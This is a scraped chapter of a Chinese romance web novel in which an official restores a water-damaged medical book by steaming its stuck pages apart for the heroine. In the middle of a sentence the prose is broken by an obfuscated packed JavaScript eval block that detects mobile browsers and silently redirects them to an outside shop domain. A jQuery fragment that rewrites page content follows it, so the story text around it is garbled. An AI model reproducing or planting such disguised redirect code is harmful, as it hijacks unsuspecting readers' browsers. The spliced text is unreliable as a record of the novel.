文趣网 > 其他小说 > 替身被强取豪夺后 > 102. 第 102 章
    洛青桃一脸惊讶。

    林庭树挑眉反问,“怎么,不信?”

    他轻哼一声,并不解释,只叫来平沙,让他回林府重山院去取东西来。

    而后老神在在坐在一旁,任由洛青桃狐疑地将他望着。

    会修复古籍孤本,这并非林庭树虚言。他素喜藏书,书房中不少藏书都是流传多年的孤本。这些孤本在民间流传,泰半都保管不善,落入他手中时颇多破损。如今这些古书能好端端在他书房中摆着,可随时被拿起翻看,而不会散架,便是因他在公事之余会抽空一一将之修复。

    这乃他一个少被人知的爱好。

    外头书画铺子中的先生固然也精于此道,但实话说,那些人能接触过几本世所罕见的孤本?怕是还没有他有经验,如何与他作比?

    可笑她还想在外头找,明明他就在眼前。真是有眼不识金镶玉。

    很快,平沙就从林府将收在书房中那一套修复工具拿了过来,洛青桃盯着平沙手中的箱子,又盯着林庭树,目光在二者之中不断来回。

    林庭树自是察觉到她那好奇似猫儿般的目光,心中稍感自得,面上则愈发沉稳,净了手后坐下,以白净丝帛铺在桌上,将这本《内经论》放上去,一页一页地从头到尾仔仔细细地翻了一遍。

    洛青桃的目光也随着他的动作落在书上,这书她下午时已仔仔细细翻过一遍,自然知道破损有多么严重。

    书页上霉斑、虫蛀等遍布,更严重的是不少书页都板结在一起,揭都揭不开,其上写了什么根本看不到。

    如此破破烂烂的一本书,还能修复好吗。

    她不由得去看林庭树,却见他还是那副淡淡神色,等他仔细翻过一遍后,平沙又进屋来禀报,“主子,灶上蒸笼已架好了。”

    平沙伺候林庭树多年,打下手自是熟悉,不必林庭树吩咐,已提前做好准备。

    林庭树将《内经论》以丝帛包好,而后拿在手上,起身朝外走。

    洛青桃更加好奇了,平沙怎么忽然在灶上架蒸笼,这和修复这本书有什么关系。

    她按捺不住好奇心,见林庭树并不对她解释,而是一径走出了屋,纠结片刻后,还是提着裙摆小跑着跟了上去。

    时已入夜,廊下灯笼照得四下里影影绰绰,一切是如此静谧。林庭树沿着庑廊闲庭信步,果然没一会儿就听到身后小跑的脚步声,那锋锐眉眼中浮起极淡的笑意,却依旧不转身,仿佛不知道身后有个尾巴亦步亦趋地好奇跟着一样。

    这主院中本就有个小灶房,平常寻春等丫鬟们给洛青桃熬药、煮茶就在这里,林庭树一路进了小灶房。

    这灶房并不大,偏他又身量高大,一进去站在灶台边,存在感十足。

    灶膛里烧着火,锅中水已烧热了,林庭树揭开蒸笼的盖子,而后伸手,竟直接将那本用巾帕仔细包住医书放了进去。

    洛青桃大吃一惊,“你这在干什么?”

    她伸手就要将书抢救回来,右手手腕却被林庭树不由分说地抓住了,“急什么?”

    “这个……”洛青桃只好用没被擒住的左手去指蒸笼,“你这是做什么?”

    林庭树随意靠在身后厨案上,见她一脸着急,自己却愈发不急不缓,慢声道,“一会儿就知道了。”

    洛青桃一脸不信。

    林庭树打包票,“弄坏了给你原样赔一个。”

    洛青桃将他瞪着——那可是张国手亲笔所书的医书,世间只有这一本,他去哪里找个来赔?

    可见林庭树如此神情自若,洛青桃迟疑了半晌,最终还是决定等一等。

    很快蒸笼上汽,蒸汽充盈了整间灶房,一片云山雾缭时,林庭树终于动手,将盖子解开,伸手将里面的医书小心拿了出来。

    而后他出了灶房,索性也不走了,直接就在外面的石凳上随意坐下。这石凳矮小,石桌偏狭,不过是厨娘用来淘洗菜蔬用的。偏他腿长,瞧着很是局促。

    他将手中医书搁在石桌上,将医书表面包的那层丝帕取下来。

    身旁平沙立刻捧来工具箱,林庭树取出镊子等器具,就着下人点起的灯烛光,低着头将原本板结的书页一点一点挑开。

    洛青桃起初离他几步远盯着,后来实在看不清楚,不得不走近了,最后索性就坐在他身旁的石凳上,努力凑着头过来看。

    见那些板结的书页竟真的随着他的动作,一页一页地被揭开了,那些原本粘连在一起看不清的字迹,也显露了出来,她大为惊异,瞪大了眼睛看着林庭树。

    这种神奇的感觉,就像是小时候看爹爹给病者清创缝合,原本血淋淋的伤口就这样被缝好了,原本虚弱的病者一天天地恢复康健。

    这时林庭树掀起眼皮,见身旁人凑得极近,满脸都是惊叹。她实在心性干净,丝毫不会遮掩情绪,似山涧清水,一望便知。

    听她迫不及待问,“你是怎么做到的?”

    被她这样望着,林庭树心中得色愈显,偏他生性自矜,越是如此,面上越是不动声色,只以毫不在意的口吻淡道,“纸张已被蒸汽熏软,又尚未被水汽浸湿,趁这时慢慢揭开就是。”

    洛青桃眸中愈发惊讶,像是难以相信他这种一身肃煞之气的人,竟擅长这种枯坐书斋的事。

    林庭树并不做解释。

    这些都是他少年时跟着一个擅修复书画的老先生学的。

    说来,当年高中进士之后,沈德昌偶然得知他擅长此道,拿来一本破损古书让他修复。由此他才入了沈德昌这世家嫡子的眼,常被他邀去府上做客,也是因此,与他的嫡妹见了面。

    至于再后来……林庭树想起旧事,很快沉下了脸。

    思绪从往事中转了一圈,回过神来,他见身旁小姑娘还是那副认真模样,一眨不眨地将他手中古书盯着。

    他心中那点情绪,忽然散去,垂下眼,继续手上动作。

    修复书页,这都是水磨工夫,为怕破坏本就脆弱的纸张,林庭树的动作放得极轻极慢,洛青桃在旁看着,大气都不敢喘。

    如此修复自是十分细致,颇耗心神与眼力,不过一个时辰,林庭树已觉疲乏,若换了寻常,他会暂且作罢,等闲了再做。

    但见身旁人挨着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948045|204209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他坐,炯炯有神地盯着他手中医书,仿佛就要等着结果似的。

    林庭树只好让平沙多点灯烛来,将黑夜照得亮似白日,他复又继续手上动作。

    等将板结书页一一揭开后,时间已至后半夜,外面黑透了,二人早从院子里挪到了屋中。

    屋中灯烛四下点着,一片明亮,将书页的细节照的清清楚楚,其上的虫蛀、霉斑等依旧不少,但那些板结书页已尽数解开。

    像虫蛀霉斑等要修复,还需找来同色的纸张,这少不得要派人去采买不同种类的纸张一一做对比,挑出最接近的,颇费时间,今日是不行的了。

    林庭树终于停下手中动作。

    饶是他素来身体精悍,但这般精细动作耗费心神,这时也不免显出疲态来。

    按了按眉心,他以余光看到洛青桃小心地将那本医书捧过去,仔仔细细、一页一页慢慢翻着,越翻面上神情越惊喜。像虫蛀、霉斑等不似书页板结那样影响甚大,如今这本书已大体上无碍她翻阅了。

    林庭树见她一副宝贝模样,恨不得整个人钻进书里去,在旁无声失笑。他起身自斟了茶喝,在屋中踱步疏散筋骨,而后随意坐在窗边罗汉榻上,向后靠着软枕,漫不经心地将她的身影收在眼底。

    静静看了半晌后,他才出声问,“如此,东家可满意了?”

    洛青桃的注意力从医书中移开,看向林庭树。他闲散地向后靠着,有极淡的笑意从他锋锐眉眼中漫出来,流淌到她身上。

    她微微一怔,片刻后还是点了点头。

    确实修复的极好,只怕比外面书画铺子中经年的老先生都不差了。

    她心想,林庭树若是不做官,自己开一家书画铺子也是能谋生的。

    迟疑了片刻,她终于开口,“……多谢你。”

    林庭树不答话,依旧一言不发地将她望着。洛青桃被他看得有些不自在,说,“时辰很晚了,你去休息吧。”

    林庭树气得笑了一声,这是用完了他,立刻就要撵人了。

    虽已是后半夜,但难得此时此刻这样氛围,他想多留一留。浅酌一口茶,他问道,“今儿不是还没施针,怎么,有了医书看,连施针都不习练了?”

    洛青桃没料到他还记得这事,她并没有忘,只是……

    她摇了摇头,“今天算了……”

    林庭树微微挑眉,唇畔笑意隐现,“这是因我这书修得合你心意,所以今儿免我一场针刑?真是难得。”

    这话说的并不严肃,倒更带了些玩笑口吻,像是亲近之人彼此说些闲言碎语。更加上此时已是后半夜,万籁俱寂,只有不知哪里的虫鸣阵阵传来,屋里愈发显得寂静。院子里一片黑,于是屋中明亮的灯烛显得那么温馨,像是海中唯一的孤舟,像是风雪中唯一的庇护。

    仿佛这间屋子,忽成了一处归宿。一个屋子有了归宿的含义,那便与“家”有了相同的分量。

    可这处归宿中,此时此刻却是他与她同处。

    洛青桃只觉得陌生,又觉得抵触,于是一时没有回话,只伸手轻轻抚着医书的书页,忽然沉默了下来。